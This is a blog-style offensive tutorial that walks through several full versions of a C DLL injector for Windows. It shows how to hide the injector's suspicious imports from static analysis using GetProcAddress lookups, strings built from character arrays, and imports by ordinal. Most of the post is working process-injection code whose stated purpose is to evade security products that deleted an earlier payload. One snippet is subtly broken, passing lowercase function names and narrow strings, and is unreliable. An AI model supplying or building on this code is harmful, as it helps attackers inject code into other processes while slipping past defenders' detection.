7 minutes
Hiding PE Imports
You’ve spent the last hour cheffing up a spicy, homemade, Windows executable just right for your target. Go to compile it and, sweet, there are no errors. Fire up the isolated VM and give it a few test runs and it’s working great. That ASCII art is looking mighty clean I must say. Time to send it downrange. Upload completes and you can see it on the file system.
PS C:\Users\ksoze> ./beastmode.exe
./beastmode.exe : The term './beastmode.exe' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ ./beastmode.exe
+ ~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (./beastmode.exe:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
Wait what? It was just… deleted. “But it’s custom, no vendor has ever seen this file hash”, you tell yourself. Was it sandboxed and analyzed that quickly? Nah, it’s got to be something static.
The executable’s Import Address Table may be giving away its intentions before it’s run.
Import Address Table
PE files use their Import Address Table to reference functions imported from DLLs. When the PE is executed, the Windows loader maps everything into memory and fills the IAT with the appropriate addresses. Let’s take a look at the source code of a sample program and see how it can be improved.
// injector.c injects a DLL into a process
// If you want to use this, make sure to check return values for errors.
#include <Windows.h>
int wmain(int argc, PWSTR* argv) {
HANDLE process = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
_wtoi(argv[1])
);
PVOID remoteBuffer = VirtualAllocEx(
process,
NULL,
(wcslen(argv[2]) + 1) * sizeof(WCHAR),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(
process,
remoteBuffer,
argv[2],
(wcslen(argv[2]) + 1) * sizeof(WCHAR),
NULL
);
PVOID pLoadLibraryW = GetProcAddress(
GetModuleHandleW(L"kernel32.dll"),
"LoadLibraryW"
);
CreateRemoteThread(
process,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibraryW,
remoteBuffer,
0,
NULL
);
return 0;
}
injector.c
is a bare-bones DLL injector that:
- Gets a process handle using
OpenProcess
- Uses
VirtualAllocEx
to create a writable buffer in the remote process - Writes the absolute path of a DLL into the remote buffer with
WriteProcessMemory
- Combines
GetModuleHandleW
andGetProcAddress
to get a pointer toLoadLibraryW
- Uses
CreateRemoteThread
to remotely callLoadLibraryW
with the DLL path as an argument
All in all, that’s 7 Windows API functions being referenced from kernel32.dll
. Here’s the compiled program’s IAT viewed in PE Bear.
Suspicious combinations of IAT entries can be enough for static analysis to flag a custom PE. In our case, those four at the bottom are a good indicator injector.exe
can tamper with other processes. However, you may have noticed LoadLibraryW
isn’t present in the IAT. That’s because GetProcAddress
is used to link it in at run-time instead of load-time.
Run-Time Dynamic Linking with GetProcAddress
What if we use GetProcAddress
for all of our suspicious Windows API function imports? The only hurdle is that GetProcAddress
returns generic function pointers (FARPROCs) which can be messy. We can use typedefs to provide a little type safety and simplify the calling syntax. You can find the function signatures you need from local header files or MSDN.
// injector.c injects a DLL into a process
// If you want to use this, make sure to check return values for errors.
#include <Windows.h>
//////////////////////////////////////////////////////////////////////////////
// typedef the function signature of each dynamic import
//
// OpenProcess
typedef HANDLE (WINAPI* op) (
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
// VirtualAllocEx
typedef LPVOID (WINAPI* vaex) (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
// WriteProcessMemory
typedef BOOL (WINAPI* wpm) (
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
// CreateRemoteThread
typedef HANDLE (WINAPI* crt) (
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
//////////////////////////////////////////////////////////////////////////////
int wmain(int argc, PWSTR* argv) {
HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");
// Initialize your imported function as one of the types declared above
op pOpenProcess = GetProcAddress(kernel32, "OpenProcess");
HANDLE process = pOpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
_wtoi(argv[1])
);
vaex pVirtualAllocEx = GetProcAddress(kernel32, "VirtualAllocEx");
PVOID remoteBuffer = pVirtualAllocEx(
process,
NULL,
(wcslen(argv[2]) + 1) * sizeof(WCHAR),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
wpm pWriteProcessMemory = GetProcAddress(kernel32, "WriteProcessMemory");
pWriteProcessMemory(
process,
remoteBuffer,
argv[2],
(wcslen(argv[2]) + 1) * sizeof(WCHAR),
NULL
);
PVOID pLoadLibraryW = GetProcAddress(
GetModuleHandleW(L"kernel32.dll"),
"LoadLibraryW"
);
crt pCreateRemoteThread = GetProcAddress(kernel32, "CreateRemoteThread");
pCreateRemoteThread(
process,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibraryW,
remoteBuffer,
0,
NULL
);
return 0;
}
With some modifications, all of the functions we need from kernel32.dll
, except GetProcAddress
and GetModuleHandleW
, are loaded dynamically. Let’s compile it and see what the IAT looks like.
Would you look at that? OpenProcess
, VirtualAllocEx
, WriteProcessMemory
, and CreateRemoteThread
are no longer present. However, now the string parameters for GetProcAddress
are embedded in the binary.
The next step is typically to encrypt or obfuscate the strings until they are passed to GetProcAddress
. One trick I’ve seen is to use null-terminated arrays of chars
instead of strings. This generates assembly instructions that build strings dynamically instead of embedding them intact.
// injector.c injects a DLL into a process
// If you want to use this, make sure to check return values for errors.
#include <Windows.h>
// snip...
char kernel32Str[] = {'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0};
char openProcessStr[] = {'o', 'p', 'e', 'n', 'p', 'r', 'o', 'c', 'e', 's', 's', 0};
char virtualAllocExStr[] = {'v', 'i', 'r', 't', 'u', 'a', 'l', 'a', 'l', 'l', 'o', 'c', 'e', 'x', 0};
// snip...
int wmain(int argc, PWSTR* argv) {
HMODULE kernel32 = GetModuleHandleW(kernel32Str);
op pOpenProcess = GetProcAddress(kernel32, openProcessStr);
HANDLE process = pOpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
_wtoi(argv[1])
);
vaex pVirtualAllocEx = GetProcAddress(kernel32, virtualAllocExStr);
PVOID remoteBuffer = pVirtualAllocEx(
process,
NULL,
(wcslen(argv[2]) + 1) * sizeof(WCHAR),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// snip...
Our injector is now much more resilient to static analysis techniques. This should be enough to evade detections based on the presence of function names.
Bonus: Import by Ordinal
With the assistance of a debugger, examining what strings are passed into GetProcAddress
is simple. An analyst could set a breakpoint in kernel32.dll
on GetProcAddress
and examine register states during each call.
This would reveal the name of each function being loaded dynamically. Here’s an example of what retrieving the address of OpenProcess
would look like.
However, GetProcAddress
doesn’t need a function’s name. According to MSDN, it can also look it up by its ordinal:
Parameters
hModule
A handle to the DLL module that contains the function or variable. The LoadLibrary, LoadLibraryEx, LoadPackagedLibrary, or GetModuleHandle function returns this handle.
The GetProcAddress function does not retrieve addresses from modules that were loaded using the LOAD_LIBRARY_AS_DATAFILE flag. For more information, see LoadLibraryEx.
lpProcName
The function or variable name, or the function’s ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the high-order word must be zero.
An ordinal is the ID number of a function exported by a DLL. We can find the ordinal numbers we need in most PE viewers, I like PE Bear. Simply load up kernel32.dll
, browse its exports for the function you need, and note its ordinal.
Here’s what the final version of injector.c
looks like:
// injector.c injects a DLL into a process
// If you want to use this, make sure to check return values for errors.
#include <Windows.h>
// OpenProcess
typedef HANDLE (WINAPI* op) (
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
// VirtualAllocEx
typedef LPVOID (WINAPI* vaex) (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
// WriteProcessMemory
typedef BOOL (WINAPI* wpm) (
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
// CreateRemoteThread
typedef HANDLE (WINAPI* crt) (
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
int wmain(int argc, PWSTR* argv) {
HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");
// Note the hex value instead of a string
op pOpenProcess = GetProcAddress(kernel32, 0x411);
HANDLE process = pOpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
_wtoi(argv[1])
);
vaex pVirtualAllocEx = GetProcAddress(kernel32, 0x5D7);
PVOID remoteBuffer = pVirtualAllocEx(
process,
NULL,
(wcslen(argv[2]) + 1) * sizeof(WCHAR),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
wpm pWriteProcessMemory = GetProcAddress(kernel32, 0x62B);
pWriteProcessMemory(
process,
remoteBuffer,
argv[2],
(wcslen(argv[2]) + 1) * sizeof(WCHAR),
NULL
);
PVOID pLoadLibraryW = GetProcAddress(
GetModuleHandleW(L"kernel32.dll"),
"LoadLibraryW"
);
crt pCreateRemoteThread = GetProcAddress(kernel32, 0xE8);
pCreateRemoteThread(
process,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibraryW,
remoteBuffer,
0,
NULL
);
return 0;
}
Within x64dbg if we once again break on GetProcAddress
, we will no longer see that obvious function name. The RDX
register now contains our function’s ordinal, 0x411.
An analyst would now have to take a few extra steps to find out what function our program is importing. They could trace the ordinal number back to its function name. Or, they could step through the debugger until GetProcAddress
returns (CTRL+F9 in x64dbg) and examine the return value. The latter is simple since kernel32.dll
has debug symbols.